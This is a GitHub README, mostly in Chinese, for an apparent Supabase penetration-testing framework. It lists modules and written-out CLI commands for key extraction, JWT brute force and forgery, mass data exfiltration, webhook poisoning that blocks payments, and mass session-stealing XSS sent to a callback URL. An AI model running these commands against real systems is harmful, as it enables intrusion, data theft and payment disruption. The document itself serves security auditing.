MikeRoss27/supahunt
GitHub: MikeRoss27/supahunt
SupaHunt 是一款针对 Supabase 应用的全流程自动化安全审计与渗透测试框架,用于发现并利用 RLS 配置缺陷、JWT 注入、GraphQL 泄露等安全风险。
Stars: 1 | Forks: 0
SupaHunt
Supabase Security Auditing & Penetration Testing Framework
**SupaHunt** 自动发现、枚举并利用 Supabase 实例。将其指向任何使用 Supabase 的 URL——它会从 JS bundles 中提取 Supabase 可发布/anon keys,通过 GraphQL introspection 映射整个数据库,测试每个 RLS 策略,并将漏洞串联成完整的攻击链。
基于测试生产环境 Supabase 应用程序的真实漏洞赏金经验构建。
## 功能
### 核心能力
| 能力 | 详情 |
|-----------|---------|
| **自动发现** | 从 HTML、`__NEXT_DATA__`、JS chunks、构建清单中提取 Supabase URL + `sb_publishable_...` / 旧版 anon keys |
| **增强发现 (v2)** | Source map 分析、从 JS bundles 提取 secrets、API 路由探测、多项目检测 |
| **Service Role 检测** | 标记客户端代码中泄露的 `sb_secret_...` / 旧版 `service_role` keys |
| **表枚举** | GraphQL introspection + 暴力破解 100 多个常见表名 |
| **RLS 测试** | 对每个表自动进行 SELECT/INSERT/UPDATE/DELETE 权限测试 |
| **RPC 审计** | 发现并探测危险函数(cleanup、delete、financial) |
| **JWT 注入** | 通过 `PUT /auth/v1/user` 测试 `user_metadata` 声明注入 |
| **角色提升** | 测试 profile 角色字段的可变性(admin、moderator 等) |
| **GraphQL 利用** | 完整的 schema introspection、mutation RLS 绕过审计、INSERT/UPDATE/DELETE 测试 |
| **Storage Buckets** | 枚举 buckets、列出文件、测试上传权限、MIME 绕过、SVG XSS |
| **PostgREST Filter 注入** | 在所有 endpoints 上测试 `.or()` / `.filter()` 注入 |
| **数据提取** | 带有进度跟踪的批量提取 |
| **自动报告** | 带有 CVSS 评分结果的 Markdown + JSON 报告 |
### v3.0 — 高级利用模块
| 模块 | 详情 |
|--------|---------|
| **Webhook Poisoner** | 自动发现 webhook 幂等表,注入虚假事件 ID 以阻止真实的支付处理。支持 Stripe、Paddle、LemonSqueezy — 自动检测提供商 |
| **Review/XSS Injector** | 通过 GraphQL introspection 自动发现 UGC 表 + 内容目录,在整个目录中大规模注入 XSS payloads。具备 Schema 感知的字段映射 — 适应任何 schema |
| **RPC Abuser** | 通过 GraphQL 自动发现所有 RPC,按 9 个危险类别(销毁证据、金融、订阅、身份操纵等)进行分类,构建动态攻击链 |
| **Token Forger** | JWT secret 暴力破解(25+ 个常见默认值)、service_role JWT 伪造、通用 HMAC token 伪造、具有任意声明的自定义 JWT |
## 安装
### pip(推荐)
```
git clone https://github.com/MikeRoss27/supahunt.git
cd supahunt
pip install .
```
安装后,`supahunt` 将作为全局命令可用:
```
supahunt full https://target.com
```
### Docker
```
docker build -t supahunt .
docker run --rm -v $(pwd)/output:/opt/supahunt/output supahunt full https://target.com
```
### 手动安装
```
git clone https://github.com/MikeRoss27/supahunt.git
cd supahunt
pip install -r requirements.txt
python3 supahunt.py full https://target.com
```
## 用法
### 快速开始
```
# 全自动化 kill chain — 12 个阶段
python3 supahunt.py full https://target.com
# 仅安全侦察(无利用,无 exfil)
python3 supahunt.py full https://target.com --no-exploit --no-exfil
```
### 命令
```
# Discovery & Enumeration
python3 supahunt.py discover https://target.com # Basic auto-discovery
python3 supahunt.py discover2 https://target.com # Enhanced (source maps, secrets, API routes)
python3 supahunt.py scan https://target.com # Recon scan (no exploitation)
python3 supahunt.py enum https://target.com # Enumerate tables, RPCs, storage, GraphQL
# Exploitation
python3 supahunt.py exploit https://target.com # Auth, JWT injection, role escalation, RPC
python3 supahunt.py graphql https://target.com # GraphQL mutation RLS audit
python3 supahunt.py storage https://target.com # Storage bucket audit + XSS
python3 supahunt.py filters https://target.com # PostgREST filter injection
# v3 Attack Modules
python3 supahunt.py webhook https://target.com # Webhook idempotency poisoning
python3 supahunt.py reviews https://target.com # Mass XSS review/content injection
python3 supahunt.py rpc-abuse https://target.com # Auto-discover & exploit RPCs
python3 supahunt.py forge https://target.com # JWT bruteforce + token forgery
# Data Extraction
python3 supahunt.py exfil https://target.com # Mass data exfiltration
# 完整 Kill Chain
python3 supahunt.py full https://target.com # All 12 phases
```
### 高级选项
```
# 跳过 discovery — 直接提供 Supabase config
python3 supahunt.py full https://target.com \
--supabase-url https://xxxxx.supabase.co \
--anon-key eyJhbGci...
# 使用现有 auth token(跳过账户创建)
python3 supahunt.py full https://target.com --token eyJhbGci...
# 通过 Burp/ZAP proxy 路由
python3 supahunt.py full https://target.com --proxy http://127.0.0.1:8080
# 添加自定义表名以进行探测
python3 supahunt.py enum https://target.com --tables invoices,receipts,secrets
# 保留测试 artifacts(不清理注入的数据)
python3 supahunt.py reviews https://target.com --no-cleanup
# 控制 rate limiting、threads 和 timeout
python3 supahunt.py full https://target.com --rate-limit 5 --threads 20 --timeout 30
# 对带有自签名证书的实验室代理禁用 TLS 验证
python3 supahunt.py full https://target.com --proxy http://127.0.0.1:8080 --insecure
```
### Webhook Poisoner 选项
```
# 按 Stripe event type 投毒 200 个虚假事件
python3 supahunt.py webhook https://target.com --events-per-type 200
# 保留注入的事件(不清理)
python3 supahunt.py webhook https://target.com --no-cleanup
```
### Review/XSS Injector 选项
```
# 使用窃取 session 的 XSS payload 注入
python3 supahunt.py reviews https://target.com \
--user-id 00000000-0000-0000-0000-000000000000 \
--xss-payload session_steal \
--callback-url https://your-callback.example.com \
--signature "security-audit"
# 可用的 XSS payloads:minimal、exfil、session_steal、defacement、polyglot
```
### Token Forger 选项
```
# 使用自定义 wordlist 进行 JWT bruteforce
python3 supahunt.py forge https://target.com --jwt-wordlist /path/to/secrets.txt
# 使用发现的 secret 测试 HMAC token 伪造
python3 supahunt.py forge https://target.com --ad-secret "discovered-secret-value"
```
## 完整攻击链 — 12 个阶段
运行 `supahunt.py full` 时,该工具会按顺序执行以下阶段:
| 阶段 | 模块 | 作用 |
|-------|--------|-------------|
| 1 | Discovery (v2) | Source maps、secrets、API 路由、多项目检测 |
| 2 | Enumeration | 表、RPC、storage buckets、GraphQL introspection |
| 3 | Auth Exploitation | 账户创建、JWT 注入、角色提升、RPC 测试 |
| 4 | GraphQL RLS 审计 | 对所有 collections 进行 INSERT/UPDATE/DELETE mutation 测试 |
| 5 | Storage 审计 | Bucket 枚举、上传测试、MIME 绕过、SVG XSS |
| 6 | Filter 注入 | 对所有表进行 PostgREST `.or()` / `.filter()` 注入 |
| 7 | 数据提取 | 批量提取所有可读表 |
| 8 | Webhook Poisoning | 自动发现 + 毒化幂等表 |
| 9 | Review/XSS 注入 | 自动发现 UGC + 内容表,大规模 XSS 注入 |
| 10 | RPC Abuse | 自动发现 + 分类 + 利用所有暴露的 RPC |
| 11 | Token Forgery | JWT secret 暴力破解 + service_role 伪造 |
| 12 | Report | 包含所有结果的 Markdown + JSON 报告 |
## 模块
### `discovery.py` + `discovery_v2.py` — 目标侦察
- 获取目标 HTML,提取内联的 Supabase 配置
- 爬取 JS bundles(Next.js、Vite、React、SvelteKit)以寻找 keys
- 解析 `__NEXT_DATA__`、构建清单、source maps
- 从 JS bundles 中提取硬编码的 secrets
- 检测同一应用中的多个 Supabase 项目
- 探测常见的 API 路由(`/api/*`)
- 验证现代 Supabase API keys 和旧版 JWT keys(publishable/anon 对比 secret/service_role)
- 获取 GoTrue `/auth/v1/settings`(注册、自动确认、提供商)
### `enumerator.py` — 数据库映射
- 针对所有 collections 进行 GraphQL `__schema` introspection
- 通过 REST 暴力破解 100 多个常见的 Supabase 表名
- 针对每个表进行 RLS 测试(SELECT/INSERT/UPDATE/DELETE)
- 通过 `Content-Range` headers 提取记录数
- 从响应数据中发现列
- 通过 GraphQL mutations 进行 RPC 函数枚举
- Storage bucket 列表 + 文件枚举
### `exploiter.py` — 漏洞利用
- **AuthExploiter**:账户创建、JWT 声明注入、token 刷新
- **ProfileExploiter**:角色提升、敏感字段修改、通过 avatar_url 进行存储型 XSS
- **RPCExploiter**:危险函数执行(cleanup、expire、financial)
- **DataExploiter**:IDOR 测试、跨用户数据访问、批量提取
- **PersistenceExploiter**:OAuth state 后门注入
### `graphql_tester.py` — GraphQL Mutation RLS 审计
- 完整的 mutation schema 提取(INSERT/UPDATE/DELETE)
- 使用具备 schema 感知的 payloads 进行逐个 collection 的 INSERT 测试
- UPDATE/DELETE 权限测试
- 自动清理测试数据
### `storage_exploiter.py` — Storage 安全审计
- Bucket 枚举和文件列出
- 上传权限测试
- MIME 类型验证绕过
- SVG XSS 上传测试
- Content-Security-Policy 分析
### `filter_injection.py` — PostgREST Filter 注入
- 在 `.or()` / `.filter()` 参数上测试 10 多个注入向量
- Supabase REST 和应用级 API 路由测试
- 基于布尔和基于错误的检测
### `webhook_poisoner.py` — Webhook 幂等性毒化
- 通过 GraphQL introspection 自动发现 webhook/事件表
- 支持 Stripe、Paddle、LemonSqueezy(自动检测提供商)
- 具备 schema 感知的事件对象构建
- 带有 REST 回退机制的 GraphQL 批量 INSERT
- 清理和验证
### `review_injector.py` — 大规模 XSS 内容注入
- 通过 GraphQL 自动发现 UGC 表(reviews、comments、feedback 等)
- 自动发现内容表(products、articles、movies 等)
- 按约定进行具备 schema 感知的字段映射(user_id、title、content 等)
- 5 种 XSS payload 模板(最小化、exfil、session_steal、defacement、polyglot)
- 用于 UPDATE 绕过的别名 GraphQL mutations(Supabase 单记录限制)
- 清理 + 保存/加载注入的 ID 以供后续清理
### `rpc_abuser.py` — RPC 自动发现与利用
- 通过 GraphQL introspection 自动发现所有 RPC
- 使用关键字模式匹配按 9 个危险类别进行分类:
- 销毁证据、用户管理、金融、订阅
- 通知、数据修改、管理员信息、预算耗尽、身份操纵
- 按类型(UUID、int、float、bool 等)自动填充参数
- 基于发现的可调用 RPC 构建动态攻击链
- 支持重复调用以进行耗尽/垃圾请求攻击
### `token_forger.py` — Token 伪造
- 使用 25+ 个常见的 Supabase 默认值进行 JWT secret 暴力破解
- 支持自定义字典
- `service_role` JWT 伪造以实现完全的 RLS 绕过
- 具有任意声明的自定义 JWT 伪造
- 通用 HMAC token 伪造(可配置算法、编码、截断)
- 针对 live endpoints 验证伪造的 token
### `reporter.py` — 报告生成
- 结构化的调查结果,包含严重程度、CVSS、证据、修复建议
- 带有执行摘要的 Markdown 报告
- 导出 JSON 以便与其他工具集成
- 表/RPC/bucket/GraphQL 清单
## Nuclei 模板
用于被动/主动 Supabase 检查的自定义 Nuclei 模板:
```
nuclei -t templates/supabase-misconfig.yaml -u https://target.com -var anon_key=eyJ...
```
| 模板 | 严重程度 | 检查内容 |
|----------|----------|-------|
| `supabase-auth-settings-leak` | 中危 | Auth 设置泄露 |
| `supabase-graphql-introspection` | 高危 | GraphQL schema 暴露 |
| `supabase-autoconfirm-enabled` | 高危 | 无邮箱验证 |
| `supabase-jwt-claim-injection` | 严重 | user_metadata 可写 |
| `supabase-storage-buckets-list` | 中危 | Bucket 枚举 |
| `supabase-rpc-dangerous-functions` | 严重 | 管理员 RPC 可调用 |
## 输出
```
output/
├── supahunt-{project_ref}-{timestamp}.md # Markdown report
├── supahunt-{project_ref}-{timestamp}.json # JSON report
├── reviews/
│ └── injected_ids.json # For later cleanup
└── exfil/
├── profiles.json
├── users.json
└── ...
```
## 常见漏洞模式
SupaHunt 测试以下 Supabase 特有的漏洞类别:
| 类别 | 描述 |
|-------|-------------|
| **RLS 绕过** | 带有 `USING (true)` 或 `WITH CHECK (true)` 策略的表 |
| **GraphQL RLS 绕过** | 没有 RLS 强制执行的 INSERT/UPDATE/DELETE mutations |
| **JWT 注入** | `PUT /auth/v1/user` 接受任意 `user_metadata` |
| **JWT Secret 暴力破解** | 弱/默认签名 secrets 允许 service_role 伪造 |
| **SECURITY DEFINER RPCs** | 以创建者权限执行且没有身份验证检查的函数 |
| **GraphQL Schema 泄露** | Introspection 暴露了所有表、列、关系 |
| **自动确认注册** | `mailer_autoconfirm: true` 启用大规模账户创建 |
| **Storage 配置错误** | 公开的 buckets 或缺少上传限制 |
| **通过 Storage 进行 SVG XSS** | 可上传执行 JavaScript 的 SVG 文件 |
| **Service Role Key 泄露** | 客户端 JavaScript 中包含 `sb_secret_...` 或 `service_role` JWT |
| **通过 RPC 进行 IDOR** | 接受 `user_id` 参数而没有所有权检查的函数 |
| **Webhook 表毒化** | 未受保护的幂等表允许中断支付 |
| **PostgREST Filter 注入** | `.or()` / `.filter()` 调用中未经清理的输入 |
| **通过 UGC 进行存储型 XSS** | review/comment/feedback 表上没有输入清理 |
| **HMAC Token 伪造** | 客户端代码中硬编码的 secrets 启用 token 伪造 |
## 架构
```
supahunt.py # CLI entry point (14 commands, 12-phase kill chain)
modules/
├── base.py # BaseModule: HTTP session, rate limiting, retry, helpers
├── discovery.py # Target auto-detection from any URL
├── discovery_v2.py # Enhanced: source maps, secrets, API probing
├── enumerator.py # Table/RPC/storage/GraphQL enumeration
├── exploiter.py # Auth, profile, RPC, data, persistence exploitation
├── graphql_tester.py # GraphQL mutation RLS audit
├── storage_exploiter.py # Storage bucket security testing
├── filter_injection.py # PostgREST filter injection
├── webhook_poisoner.py # Webhook idempotency poisoning
├── review_injector.py # Mass XSS content injection
├── rpc_abuser.py # RPC auto-discovery & exploitation
├── token_forger.py # JWT bruteforce + token forgery
└── reporter.py # Markdown + JSON report generation
templates/
└── supabase-misconfig.yaml # Nuclei templates
```
## 贡献
欢迎提交 PR。请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
**重要**:PR 中请勿包含真实目标数据 — 请使用 `https://target.com` 或 `https://xxxxx.supabase.co` 作为示例。
## 许可证
[MIT](LICENSE)
标签:GraphQL, Python, StruQ, Supabase, Web报告查看器, 无后门, 请求拦截, 逆向工具